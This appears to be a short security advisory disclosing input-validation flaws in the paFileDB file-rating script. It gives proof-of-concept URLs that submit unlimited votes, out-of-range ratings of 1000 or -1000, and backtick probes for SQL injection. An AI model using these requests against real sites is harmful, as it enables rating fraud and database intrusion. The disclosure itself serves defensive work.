Explanation:

paFileDB is a file management script that supports user file rating. It 
uses an SQL database backend. Multiple vulnerabilities exist due to the 
lack of checked input variables. The following exploits exist:
 - Modified 'id' tag allows users to submit unlimited ratings.
 - Hand-edited 'rating' tag allows users to submit ratings above 10 or 
below 0.
 - Both tags do not check for escape characters and will allow SQL injection.


Proof-Of-Concept Exploits:

http://target/pafiledb/pafiledb.php?action=rate&id=1[RANDOM]&rate=dorate&rating=10
Replace [RANDOM] with a random short string and the script will not be stop 
you from voting as many times as you like.


http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=1000
Submit file rating of 1000 out of 10. Drive rate up. Conversely, -1000 
would have the opposite effect driving the rating down.

http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=`
http://target/pafiledb/pafiledb.php?action=rate&id=`&rate=dorate&rating=10
